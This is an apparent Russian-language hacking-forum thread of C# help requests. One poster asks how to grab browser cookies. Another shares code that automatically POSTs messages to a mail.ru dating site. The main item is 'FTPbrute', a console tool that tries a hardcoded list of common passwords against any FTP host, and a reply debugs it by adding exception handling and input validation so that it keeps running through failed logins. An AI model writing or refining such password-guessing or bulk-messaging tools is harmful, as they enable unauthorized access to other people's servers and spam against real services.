а и исчо блин когда компилирую появляется exe и .application как получить чистый экзышник и как права не знаю повысить у мя когда оно куки пытается скачать от ие пишет что нет доступа
Всем привет Например, я пользуюсь браузером Opera, как средствами C# анализировать html код из браузера Opera и выполнять какие либо действия?
Тут совсем другое Мне именно нужно из браузера перехватить. Например через браузер обратится на html страницу PHP: <title>TEST!!</title> ....... ..... ... Мне нужно перехватить <title> и выполнит дейстие, например вывести сообщения Как из программы обратиться к html страницы , я знаю
именно в опере ====================== Не могу понять, почему не отправляет сообщения? PHP: public string Request() { HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://wap.love.mail.ru/?area=newMessage&searchPosition=1&login=roran"); httpWebRequest.AllowAutoRedirect = true; httpWebRequest.CookieContainer = new CookieContainer(); if (Cooks != null) { //Добавляем к нашему запросу ранее сохраненную сессию httpWebRequest.CookieContainer.Add(Cooks); } // Следующие строки итак понятны httpWebRequest.Method = "POST"; //httpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"; //httpWebRequest.Referer = "http://wap.love.mail.ru/?area=newMessage&searchPosition=1&login=gebez445rovu32&group=roran"; httpWebRequest.ContentType = "application/x-www-form-urlencoded"; // Переть тем как заполнять поля формы, текст конвертируем в байты byte[] ByteQuery = System.Text.Encoding.ASCII.GetBytes("message=dfgdfgdfg"); // Длинна запроса (обязательный параметр) httpWebRequest.ContentLength = ByteQuery.Length; // Открываем поток для записи Stream QueryStream = httpWebRequest.GetRequestStream(); // Записываем в поток (это и есть POST запрос(заполнение форм)) QueryStream.Write(ByteQuery, 0, ByteQuery.Length); // Закрываем поток QueryStream.Close(); HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); httpWebResponse.Cookies = httpWebRequest.CookieContainer.GetCookies(httpWebRequest.RequestUri); if (httpWebResponse.Cookies != null) { //Обновляем сессию Cooks.Add(httpWebResponse.Cookies); } Stream stream = httpWebResponse.GetResponseStream(); StreamReader reader = new StreamReader(stream); /* bool match = Regex.IsMatch(reader.ReadToEnd(), "Ваше сообщение отправлено!"); if (match) { textBox1.AppendText("[+] " + nick + "\r\n"); } else { textBox1.AppendText("[-] " + nick + "\r\n"); }*/ //textBox1.AppendText(reader.ReadToEnd()); return reader.ReadToEnd(); } Помогите пожалуйста разобраться
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Security.Permissions; using System.IO; namespace ConsoleApplication8 { class Program { static void Main(string[] args) { string v = "0.0.1.0"; string port; string host; string login; string[] pass = {"admin" , "100500" , "123456" , "pass" , "100500" , "passwd" , "qwerty"}; Console.WriteLine("FTPbrute"+ " v"+ v); Console.WriteLine("code by dj100500"); Console.Write("(bla.ru) host:"); host = Console.ReadLine(); if (host == "") { Console.Write("enter host:"); host = Console.ReadLine(); } Console.Write("port:"); port = Console.ReadLine(); if (port == "") { port = "21"; } Console.Write("login"); login = Console.ReadLine(); if (login == "") { login = "admin"; } Console.WriteLine("host:" + host + "port:" + "login:" + login); for (var i = 0; i < pass.Length; i++) { FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + ":" + port + "/test.txt"); request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(login, pass); StreamReader sourceStream = new StreamReader(@"D:\test.txt"); byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd()); sourceStream.Close(); request.ContentLength = fileContents.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(fileContents, 0, fileContents.Length); requestStream.Close(); FtpWebResponse response = (FtpWebResponse)request.GetResponse(); Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); response.Close(); Console.ReadKey(); } } } } эй парни помогите , как сделать так чтоб не вылетала при неверном пароле ХЕЛП понять не могу
Когда всё равно какой эксепшн. Ну а если хочешь труЪ, смотри эксепшены которые бросают методы в блоке try, и корректно на них реагируй.
примерно так: PHP: try { var request = (FtpWebRequest)WebRequest.Create(...); .... var response = (FtpWebResponse)request.GetResponse(); } catch(WebException e) { Console.WriteLine(e.Message); } catch(Exception) { Console.WriteLine("Fuck!"); } плюс еще как минимум нужна валидация ввода. у тебя можно ввести в качестве порта не число, тогда адрес, передаваемый в WebRequest.Create(), будет некорректным. PHP: if (host == "") лучше заменить на PHP: if (string.IsNullOrEmpty(host)) StreamReader оборачивать в using: PHP: using(var sourceStream = new StreamReader(@"D:\test.txt")) { ... } FtpWebResponse тоже в юзинг. PHP: using(var response = (FtpWebResponse)request.GetResponse()) { Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); } Code: "ftp://" + host + ":" + port + "/test.txt" заменить на Code: string.Format("ftp://{0}:{1}/test.txt", host, port)